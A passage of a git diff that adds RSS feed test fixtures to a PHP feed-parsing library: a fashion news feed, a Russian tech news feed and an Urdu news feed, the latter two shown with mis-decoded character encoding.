+Ballerinas by way of Bollywood informed...</title><description>&lt;img src="http://38.media.tumblr.com/6b314d36441c4a7c74722d63e4ee6852/tumblr_ndymudmmfW1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/dar-sara-rtw-spring-2015-7991801?src=tumblr"&gt;Dar Sara RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;Ballerinas by way of Bollywood informed Dar Sara Fashion’s inventive spring lineup. &lt;a href="http://www.wwd.com/fashion-news/fashion-features/dar-sara-rtw-spring-2015-7991801?src=tumblr"&gt;&lt;strong&gt;For More&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100908254264</link><guid>http://womensweardaily.tumblr.com/post/100908254264</guid><pubDate>Sat, 25 Oct 2014 10:00:27 -0400</pubDate><category>Dar Sara</category><category>RTW Spring 2015</category><category>Fashion</category><category>LAFW</category></item><item><title>TAW: Shanghai Fashion Week
+Photo by Dave Tacon</title><description>&lt;img src="http://38.media.tumblr.com/e81cf4f010a35b94cd0dea8f67f45ff0/tumblr_ndyfddFKBJ1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/they-are-wearing/they-are-wearing-shanghai-fashion-week-7999283/slideshow?src=tumblr"&gt;TAW: Shanghai Fashion Week&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;&lt;em&gt;Photo by Dave Tacon&lt;/em&gt;&lt;/h4&gt;</description><link>http://womensweardaily.tumblr.com/post/100905126460</link><guid>http://womensweardaily.tumblr.com/post/100905126460</guid><pubDate>Sat, 25 Oct 2014 09:00:23 -0400</pubDate><category>Shanghai Fashion Week</category><category>Fashion</category><category>Street Style</category><category>They Are Wearing</category></item><item><title>Spring 2015 Denim Trend: A Denim
+ Love Story
+Calvin...</title><description>&lt;img src="http://38.media.tumblr.com/278ab96e4584d645e9c0402ee7d3fc4e/tumblr_ndwnd6Lb221qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/trends/spring-2015-denim-trend-a-denim-love-story-7993360/slideshow?src=tumblr"&gt;Spring 2015 Denim Trend: A Denim&lt;/a&gt;&lt;/h1&gt;
+&lt;h1 class="window-wide title-short"&gt;&lt;a href="http://www.wwd.com/fashion-news/trends/spring-2015-denim-trend-a-denim-love-story-7993360/slideshow?src=tumblr"&gt; Love Story&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;Calvin Rucker’s polyester crinkled peasant top; MiH’s cotton denim skirt. Prima Donna leather fringe bag.&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100902488286</link><guid>http://womensweardaily.tumblr.com/post/100902488286</guid><pubDate>Sat, 25 Oct 2014 08:00:46 -0400</pubDate><category>Spring 2015</category><category>Denim</category><category>Trend</category><category>Calvin Rucker</category><category>MiH</category><category>Prima Donna</category><category>Fashion</category><category>seventies</category></item></channel></rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/xakep.ru.xml b/vendor/fguillot/picofeed/tests/fixtures/xakep.ru.xml
new file mode 100644
index 000000000..fcbddf40e
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/xakep.ru.xml
@@ -0,0 +1,245 @@
+<?xml version="1.0" encoding="windows-1251"?>
+ <rss version="2.0">
+ <channel>
+ <title>Xakep</title>
+ <link>http://www.xakep.ru/articles/rss/</link>
+ <description>Xakep</description>
+ <language>ru</language>
+ <copyright>Copyright 2013 Gameland</copyright>
+ <ttl>10</ttl>
+<image>
+<title>Xakep</title>
+<url>
+http://www.xakep.ru/local/i/rss_desc.gif
+</url>
+<link>http://www.xakep.ru</link>
+<width>140</width>
+<height>29</height>
+</image>
+ <item>
+ <title>Ðóêîâîäèòåëè ðàçâåäêè ÑØÀ øóòÿò îá óáèéñòâå Ñíîóäåíà</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61360/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61360/default.asp</link>
+ <description>Áûâøèé äèðåêòîð ÀÍÁ, ãåíåðàë Ìàéêë Õýéäåí ñíîâà ïîêàçàë ñåáÿ âî âñåé êðàñå.</description>
+ <pubDate>Sat, 04 Oct 2013 02:34:59 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Yahoo ïîâûøàåò ðàçìåð âîçíàãðàæäåíèé çà áàãè ñ $12,50 äî $15 000</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61359/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61359/default.asp</link>
+ <description>Çàäíèì ÷èñëîì âîçíàãðàæäåíèå ïîëó÷àò âñå, êòî ïðèñûëàë èíôîðìàöèþ î áàãàõ è ïîëó÷èë â áëàãîäàðíîñòü ìàéêó ñ ëîãîòèïîì.</description>
+ <pubDate>Fri, 03 Oct 2013 23:06:28 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ïàâåë Äóðîâ âïåðâûå â æèçíè çàøèôðîâàë ñîîáùåíèå</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61358/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61358/default.asp</link>
+ <description>Îñíîâàòåëü ñîöèàëüíîé ñåòè &quot;Âêîíòàêòå&quot; îòïðàâèë ïåðâîå çàøèôðîâàííîå ñîîáùåíèå è îñíîâàë ôîíä äëÿ ôèíàíñèðîâàíèÿ òåõíîëîãèé êðèïòîçàùèòû êîììóíèêàöèé.</description>
+ <pubDate>Fri, 03 Oct 2013 22:35:28 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ïðîñòî ïèøè</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61357/default.asp</guid>
+<category>Ñòàòüè</category>
+ <link>http://www.xakep.ru/post/61357/default.asp</link>
+ <description>Ñîöèàëêè ñïðàâëÿþòñÿ ñ ïîòðåáíîñòÿìè òåõ, êòî õî÷åò ïîäåëèòüñÿ ñ ìèðîì èíôîðìàöèåé î ñâîåì îáåäå. Íî åñëè ðå÷ü èäåò î êðóïíîé ñòàòüå èëè ïîäðîáíîì HOWTO ñ êó÷åé êîäà èëè ëþáîì äðóãîì óíèêàëüíîì êîíòåíòå, òåáå ïî-ïðåæíåìó ïîíàäîáèòñÿ áëîã. Õîðîøàÿ íîâîñòü çàêëþ÷àåòñÿ â òîì, ÷òî ïîäíÿòü ñâîé îíëàéí-æóðíàë ñòàëî êàê íèêîãäà ïðîñòî.</description>
+ <pubDate>Fri, 03 Oct 2013 19:23:31 +0300</pubDate>
+ <author>mailto:antonov.igor.khv@gmail.com (Èãîðü Àíòîíîâ)</author>
+ </item>
+ <item>
+ <title>Ñîñòîÿíèå ñ ÷èòåðñòâîì â áåí÷ìàðêàõ ó ïðîèçâîäèòåëåé Android-óñòðîéñòâ</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61356/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61356/default.asp</link>
+ <description>Íàïðèìåð, Galaxy S 4 ïðè çàïóñêå áåí÷ìàðêà ïîâûøàåò òàêòîâóþ ÷àñòîòó GPU è òåìïåðàòóðíûé ëèìèò äî óðîâíÿ, êîòîðûé íåâîçìîæíî óñòàíîâèòü øòàòíûìè ñðåäñòâàìè.</description>
+ <pubDate>Fri, 03 Oct 2013 18:13:16 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ìåíåäæåðû ãîòîâû íàíèìàòü íà ðàáîòó áûâøèõ õàêåðîâ</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61355/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61355/default.asp</link>
+ <description>Òåìíîå ïðîøëîå â êàêîì-òî ñìûñëå äàæå ÿâëÿåòñÿ ïîëîæèòåëüíûì ôàêòîðîì, ïîñêîëüêó ó òàêîãî êàíäèäàòà åñòü óíèêàëüíûé îïûò, êîòîðûé ìîæåò ïîìî÷ü åìó â ðàáîòå.</description>
+ <pubDate>Fri, 03 Oct 2013 17:26:25 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Silk Road çàêðûò, âëàäåëåö àðåñòîâàí</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61354/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61354/default.asp</link>
+ <description>29-ëåòíèé Ðîññ Óèëüÿì Óëüáðèõò àðåñòîâàí ñåãîäíÿ â 15:15 ïî ìåñòíîìó âðåìåíè â îäíîé èç îáùåñòâåííûõ áèáëèîòåê Ñàí-Ôðàíöèñêî.</description>
+ <pubDate>Thu, 02 Oct 2013 22:58:15 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>MegaSync: êëèåíò äëÿ ñèíõðîíèçàöèè ôàéëîâ Mega ïîä Windows</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61353/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61353/default.asp</link>
+ <description>Âûïóñê íîâûõ êëèåíòñêèõ ïðèëîæåíèé îáÿçàòåëüíî äîáàâèò ïîïóëÿðíîñòè ôàéëîõîñòèíãó Mega.</description>
+ <pubDate>Thu, 02 Oct 2013 22:48:30 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Windows Phone äåìîíñòðèðóåò íåîæèäàííûå óñïåõè â Åâðîïå</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61352/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61352/default.asp</link>
+ <description>Çà ïîñëåäíèé ãîä äîëÿ Windows Phone ïî ïðîäàæàì íà ðûíêàõ êëþ÷åâûõ ñòðàí Åâðîïû óâåëè÷èëàñü ñ 5,1% äî 9,2%, à â Ãåðìàíèè ïðàêòè÷åñêè ñðàâíÿëàñü ñ äîëåé iOS.</description>
+ <pubDate>Thu, 02 Oct 2013 15:51:06 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Äàâíèé áàã ñ óòå÷êîé ãèãèáàéòîâ ïàìÿòè â Firefox îêîí÷àòåëüíî èñïðàâëåí</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61351/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61351/default.asp</link>
+ <description>Èçëèøíèé ðàñõîä ÎÇÓ íà ñòðàíèöàõ ñ áîëüøèì êîëè÷åñòâîì ãðàôèêè áûë áàãîì ¹ 1 â ñïèñêå íà èñïðàâëåíèå, íî îêîí÷àòåëüíî ðàçîáðàòüñÿ ñ íèì óäàëîñü òîëüêî ñåé÷àñ.</description>
+ <pubDate>Thu, 02 Oct 2013 14:47:06 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ïåðâàÿ DDoS-àòàêà 100 Ãáèò/ñ áåç DNS-óìíîæåíèÿ</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61350/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61350/default.asp</link>
+ <description>Åñëè áû àòàêóþùèå èñïîëüçîâàëè óìíîæåíèå çàïðîñîâ ÷åðåç DNS-ðåçîëâåðû, òî ìîãëè áû óâåëè÷èòü òðàôèê â äåñÿòêè ðàç.</description>
+ <pubDate>Thu, 02 Oct 2013 12:25:15 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ýêñïëîéò äëÿ IE 9 âêëþ÷èëè â íàáîð Metasploit</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61349/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61349/default.asp</link>
+ <description>Microsoft äî ñèõ ïîð ìåäëèò ñ âûïóñêîì ïàò÷à, à ýêñïëîéò óæå ïîøåë â íàðîä. Ìîäóëü äëÿ IE9 ïîä Windows 7 äàæå âêëþ÷èëè â íàáîð Metasploit.</description>
+ <pubDate>Thu, 02 Oct 2013 11:59:07 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Àíàíàñîâûé ðàé</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61348/default.asp</guid>
+<category>Ñòàòüè</category>
+ <link>http://www.xakep.ru/post/61348/default.asp</link>
+ <description>Òàêèå çàíÿòèÿ, êàê âàðäðàéâèíã èëè áëþäæåêèíã óæå äàâíî èñ÷åðïàëè ñåáÿ è óãàñëè â çàáâåíèè. Íóæíî ÷òî-òî íîâîå, ñàìîáûòíîå. Êîãäà ÿ ðàçìûøëÿë íàä ýòèì âîïðîñîì, ìîé âçãëÿä ñëó÷àéíî óïàë íà ïàêåò àíàíàñîâîãî ñîêà, îñòàâëåííîãî íà ñòîëå åùå óòðîì. Áèíãî! Âåäü õàêèíã, àêòèâíûé îòäûõ è àíàíàñû èäåàëüíî ñîâìåñòèìû! Íå âåðèøü? À ÿ äîêàæó!</description>
+ <pubDate>Wed, 01 Oct 2013 17:58:13 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>HD Moore ïðåäëàãàåò êðàóäñîðñèíã ïîèñêà óÿçâèìîñòåé</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61347/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61347/default.asp</link>
+ <description>Çà ãîäû ñêàíèðîâàíèÿ èíòåðíåòà íàêîïèëèñü òåðàáàéòû ëîãîâ. Ïðîáëåìà â òîì, êàê îáðàáîòàòü òàêîé îãðîìíûé ìàññèâ èíôîðìàöèè.</description>
+ <pubDate>Wed, 01 Oct 2013 16:52:00 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>AVG PrivacyFix: èñïðàâëÿåì íàñòðîéêè ñîöèàëüíûõ ñåòåé íà ñìàðòôîíå</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61346/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61346/default.asp</link>
+ <description>Àíòèâèðóñíàÿ êîìïàíèÿ AVG âûïóñòèëà áåñïëàòíîå ïðèëîæåíèå äëÿ ìîáèëüíûõ óñòðîéñòâ AVG PrivacyFix.</description>
+ <pubDate>Wed, 01 Oct 2013 15:48:32 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ñïàì â ñîöèàëüíûõ ìåäèà â 2013 ãîäó âûðîñ íà 355%</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61345/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61345/default.asp</link>
+ <description>Ñàìûì äåøåâûì ñïîñîáîì ðåêëàìû ÿâëÿåòñÿ ñïàì â ñîöèàëüíûõ ìåäèà: â Twitter, Facebook è íà äðóãèõ ïîõîæèõ ïëîùàäêàõ, êîòîðûå ïîêà íå ñïðàâëÿþòñÿ ñ ýôôåêòèâíîé ôèëüòðàöèåé.</description>
+ <pubDate>Wed, 01 Oct 2013 13:08:42 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Àëãîðèòì ðàçëè÷åíèÿ ñîáàê è êîøåê</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61344/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61344/default.asp</link>
+ <description>Ýòà çàäà÷à ìãíîâåííî ðåøàåòñÿ êàê ëþäüìè, òàê è ñîáàêàìè è êîøêàìè. À âîò êîìïüþòåðû ñïðàâëÿþòñÿ ñ íåé ïðèìåðíî â 50% ñëó÷àåâ.</description>
+ <pubDate>Wed, 01 Oct 2013 12:30:06 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ñêîëüêî ñòîèò áåçîïàñíîñòü ïî÷òû Yahoo? 12 äîëëàðîâ 50 öåíòîâ</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61343/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61343/default.asp</link>
+ <description> áëàãîäàðíîñòü çà ñîîáùåíèå îá îïàñíîì XSS-áàãå êîìïàíèÿ Yahoo âûñëàëà ïîäàðî÷íûé êîä íà ïîêóïêó ìàå÷êè ñ ëîãîòèïîì Yahoo â ôèðìåííîì ìàãàçèíå.</description>
+ <pubDate>Wed, 01 Oct 2013 11:59:04 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Çàùèù¸ííûé P2P-÷àò îò BitTorrent</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61342/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61342/default.asp</link>
+ <description>Êîìïàíèÿ BitTorrent çàïóñòèëà ïðåàëüôà-òåñòèðîâàíèå IM-ñåðâèñà, êîòîðûé ðàáîòàåò ïî ïðèíöèïó P2P ïîâåðõ ñåðâèñà BitTorrent Sync.</description>
+ <pubDate>Wed, 01 Oct 2013 11:18:24 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>«Ëàáîðàòîðèÿ Êàñïåðñêîãî» çàðàáîòàëà $500 ìëí íà ýêñïîðòå ÏÎ</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61341/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61341/default.asp</link>
+ <description>&quot;Ëàáîðàòîðèÿ Êàñïåðñêîãî&quot; îïóáëèêîâàëà êîðïîðàòèâíóþ áðîøþðó ñî ñòàòèñòèêîé êîìïàíèè â 2013 ãîäó.</description>
+ <pubDate>Wed, 01 Oct 2013 10:39:15 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Freelan: ñâîáîäíûé ìóëüòèïëàòôîðìåííûé P2P VPN-êëèåíò</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61340/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61340/default.asp</link>
+ <description>Freelan îáëàäàåò ãèáêîñòüþ è ðàáîòàåò íåñêîëüêèìè ñïîñîáàìè: ÷åðåç ïðÿìûå P2P-ñîåäèíåíèÿ, â êëèåíò-ñåðâåðíîé èëè â ãèáðèäíîé êîíôèãóðàöèè.</description>
+ <pubDate>Tue, 30 Sep 2013 23:57:30 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>TRESOR: øèôðîâàíèå çà ïðåäåëàìè ÎÇÓ</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61339/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61339/default.asp</link>
+ <description> ïîñëåäíèå ãîäû ýêñïåðòû-êðèìèíàëèñòû äîáèëèñü íåìàëûõ óñïåõîâ ïî èçâëå÷åíèþ èíôîðìàöèè èç îïåðàòèâíîé ïàìÿòè ïîñëå âûêëþ÷åíèÿ êîìïüþòåðà.</description>
+ <pubDate>Tue, 30 Sep 2013 23:12:13 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ôðàíöóçñêàÿ æàíäàðìåðèÿ îò÷èòàëàñü î âíåäðåíèè Ubuntu</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61338/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61338/default.asp</link>
+ <description>Ïîäõîäèò ê çàâåðøåíèþ êðóïíåéøèé â Åâðîïå ýêñïåðèìåíò ïî ïåðåõîäó íà ñâîáîäíîå ïðîãðàììíîå îáåñïå÷åíèå: ýêîíîìèÿ íà òåõíè÷åñêîì îáñëóæèâàíèè òåõíèêè ñîñòàâèëà 40%.</description>
+ <pubDate>Tue, 30 Sep 2013 21:54:22 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Bug Bounty — äðóãàÿ ñòîðîíà ìåäàëè</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61337/default.asp</guid>
+<category>Ñòàòüè</category>
+ <link>http://www.xakep.ru/post/61337/default.asp</link>
+ <description>Êðóïíûå âåíäîðû è ÈÒ-êîìïàíèè âñå ÷àùå ïðèáåãàþò ê êðàóäñîðñèíãó äëÿ ïîèñêà óÿçâèìîñòåé.  ïðîøëûé ðàç ìû ïîñìîòðåëè, çà÷åì è êàê ýòî ìîæíî ñäåëàòü, à â ýòîò ðàç õîòåëîñü áû îáðàòèòü âíèìàíèå íà íåäîñòàòêè òàêîé ñèñòåìû.</description>
+ <pubDate>Tue, 30 Sep 2013 20:28:04 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ <item>
+ <title>Ñìàðòôîí íà ñòîëå ðÿäîì ñ êëàâèàòóðîé ìîæåò ðåãèñòðèðîâàòü âèáðàöèè îò íàæàòèé êëàâèø</title>
+ <guid isPermaLink="true">http://www.xakep.ru/post/61336/default.asp</guid>
+<category>Íîâîñòè</category>
+ <link>http://www.xakep.ru/post/61336/default.asp</link>
+ <description>Íå ñåêðåò, ÷òî ñîâðåìåííûå ñìàðòôîíû îáîðóäîâàíû äîâîëüíî ÷óâñòâèòåëüíûìè ñåíñîðàìè. Íåêîòîðûå èç íèõ èñïîëüçóþòñÿ äëÿ øïèîíàæà.</description>
+ <pubDate>Tue, 30 Sep 2013 17:28:24 +0300</pubDate>
+ <author>know how (news)</author>
+ </item>
+ </channel>
+</rss> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/zoot_egkty.xml b/vendor/fguillot/picofeed/tests/fixtures/zoot_egkty.xml
new file mode 100644
index 000000000..3d1e69b8f
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/zoot_egkty.xml
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
+ <channel>
+ <title>خبریں - وائس آ٠امریکÛ</title>
+ <link>http://www.urduvoa.com/archive/news/latest/2184/2184.html</link>
+ <description><![CDATA[اردو خبریں]]></description>
+ <image>
+ <url>http://www.voanews.com/img/voa/rssLogo_VOA.gif</url>
+ <title>خبریں - وائس آ٠امریکÛ</title>
+ <link>http://www.urduvoa.com/archive/news/latest/2184/2184.html</link>
+ </image>
+ <language>ur</language>
+ <copyright>کاپی رائٹ 2010 - وائس آ٠امریکÛ</copyright>
+ <ttl>60</ttl>
+ <lastBuildDate>Sun, 16 Mar 2014 18:08:14 -0400</lastBuildDate>
+ <generator>Pangea CMS – VOA</generator>
+ <atom:link href="http://www.urduvoa.com/api/zoot_egkty" rel="self" type="application/rss+xml" />
+ <item>
+ <title>کرائمیا: ریÙرنڈم میں روس سے الحاق Ú©ÛŒ حمایت</title>
+ <description><![CDATA[روس Ú©Û’ سرکاری ذرائع ابلاغ Ù†Û’ دعویٰ کیا ÛÛ’ Ú©Û Ø±ÛŒÙرنڈم میں روس Ú©Û’ ساتھ الحاق Ú©Û’ حق میں ووٹ ڈالنے والے رائے دÛندگان Ú©ÛŒ شرح 95 ÙÛŒ صد سے زائد رÛÛŒ ÛÛ’Û”]]></description>
+ <link>http://www.urduvoa.com/content/majority-favors-joining-russia-in-crimea-referendum-16mar2014/1872523.html</link>
+ <guid>http://www.urduvoa.com/content/majority-favors-joining-russia-in-crimea-referendum-16mar2014/1872523.html</guid>
+ <pubDate>Sun, 16 Mar 2014 17:51:37 -0400</pubDate>
+ <category>خبریں</category><category>دنیا</category><comments>http://www.urduvoa.com/content/majority-favors-joining-russia-in-crimea-referendum-16mar2014/1872523.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/31CBC894-6FE8-480A-A032-1238D6AD30E2_cx0_cy6_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>کراچی : انسداد پولیو Ù…ÛÙ… کا تیسرا مرحلÛ</title>
+ <description><![CDATA[انسداد پولیو Ù…ÛÙ… میں شریک پولیو رضاکاروں Ù†Û’ کراچی Ú©ÛŒ 24 یونین کونسلوں میں گھر گھر جاکر 5 سال تک Ú©Û’ بچوں Ú©Ùˆ پولیو سے بچاو Ú©Û’ قطرے پلائے۔]]></description>
+ <link>http://www.urduvoa.com/content/third-round-of-anti-polio-campaign-16mar2014/1872482.html</link>
+ <guid>http://www.urduvoa.com/content/third-round-of-anti-polio-campaign-16mar2014/1872482.html</guid>
+ <pubDate>Sun, 16 Mar 2014 15:31:10 -0400</pubDate>
+ <category>خبریں</category><category>صحت-سائنس</category><comments>http://www.urduvoa.com/content/third-round-of-anti-polio-campaign-16mar2014/1872482.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/BC964C7F-E409-4055-8CFB-0E7AC40F814D_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>نائجیریا میں دیÛات پر حملے، 100 اÙراد Ûلاک</title>
+ <description><![CDATA[انسانی حقوق Ú©ÛŒ تنظیم &#39;Ûیومن رائٹس واچ&#39; Ú©Û’ مطابق علاقے میں مذÛبی بنیادوں پر جاری جھڑپوں میں 2010Ø¡ سےاب تک تین Ûزار اÙراد مارے جاچکے Ûیں۔]]></description>
+ <link>http://www.urduvoa.com/content/hundred-killed-in-central-nigeria-attack-16mar2014/1872468.html</link>
+ <guid>http://www.urduvoa.com/content/hundred-killed-in-central-nigeria-attack-16mar2014/1872468.html</guid>
+ <pubDate>Sun, 16 Mar 2014 15:16:00 -0400</pubDate>
+ <category>خبریں</category><category>دنیا</category><comments>http://www.urduvoa.com/content/hundred-killed-in-central-nigeria-attack-16mar2014/1872468.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/3ACA1467-80D2-428C-A3AD-29E2D1FBF15B_cx0_cy0_cw0_w800_r1.png" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>علاج Ú©Û’ لیے شخصیت کا Ù…Ø¹Ø§Ø¦Ù†Û Ø¨Ú¾ÛŒ ضروری ÛÛ’ØŒ تحقیق</title>
+ <description><![CDATA[مطالعے میں شامل Ûونے والےایسے نوجوان جنھیں Ø²ÛŒØ§Ø¯Û Ø³Ù…Ø¬Ú¾Ø¯Ø§Ø± بتایا گیا تھا اپنے ÛÙ… عمر اور لا ابالی طبعیت رکھنے والے نوجوانوں Ú©Û’ مقابلے میں 38 برس Ú©ÛŒ عمر میں بÛت اچھی صحت Ú©Û’ مالک تھے۔]]></description>
+ <link>http://www.urduvoa.com/content/personality-tests-of-patients-improve-heath-care-13mar2014/1872453.html</link>
+ <guid>http://www.urduvoa.com/content/personality-tests-of-patients-improve-heath-care-13mar2014/1872453.html</guid>
+ <pubDate>Sun, 16 Mar 2014 14:26:31 -0400</pubDate>
+ <category>خبریں</category><category>صحت-سائنس</category><author>noreply@voanews.com (نصرت شبنم)</author><comments>http://www.urduvoa.com/content/personality-tests-of-patients-improve-heath-care-13mar2014/1872453.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/6811B2F6-3FA8-4E7A-97BB-C4F141969063_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>شمالی کوریا کے مزید میزائل تجربے</title>
+ <description><![CDATA[Ùروری Ú©Û’ اختتام سے شمالی کوریا Ú©Û’ ان میزائل تجربات میں خاصا اضاÙÛ Ûوا ÛÛ’ جس Ú©Û’ باعث جنوبی کوریا اور خطے Ú©Û’ دیگر ممالک Ù†Û’ شمالی کوریا Ú©ÛŒ سرحدوں Ú©ÛŒ نگرانی سخت کردی ÛÛ’Û”]]></description>
+ <link>http://www.urduvoa.com/content/north-korea-test-fires-18-missiles-16mar2014/1872427.html</link>
+ <guid>http://www.urduvoa.com/content/north-korea-test-fires-18-missiles-16mar2014/1872427.html</guid>
+ <pubDate>Sun, 16 Mar 2014 13:48:57 -0400</pubDate>
+ <category>خبریں</category><category>دنیا</category><comments>http://www.urduvoa.com/content/north-korea-test-fires-18-missiles-16mar2014/1872427.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/438CDEF6-F3D8-492E-AE18-8AB3B7CE8EBC_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>توÛین ادیان Ú©Û’ قوانین میں ’ترمیم‘ Ú©Û’ مطالبات میں اضاÙÛ</title>
+ <description><![CDATA[ماÛرین اور انسانی حقوق Ú©ÛŒ تنظیموں کا Ú©Ûنا ÛÛ’ Ú©Û Ø±ÛŒØ§Ø³Øª اپنی Ø°Ù…Û Ø¯Ø§Ø±ÛŒ کا احساس کرتے Ûوئے اگر توÛین ادیان Ú©Û’ جھوٹے الزامات لگانے والوں Ú©Û’ خلا٠موثر قانونی کارروائی کرے تو قانون Ú©Û’ غلط استعمال Ú©Ùˆ بڑی حد تک روکا جا سکتا ÛÛ’Û”]]></description>
+ <link>http://www.urduvoa.com/content/pakistan-blasphemy-16march/1872314.html</link>
+ <guid>http://www.urduvoa.com/content/pakistan-blasphemy-16march/1872314.html</guid>
+ <pubDate>Sun, 16 Mar 2014 10:19:44 -0400</pubDate>
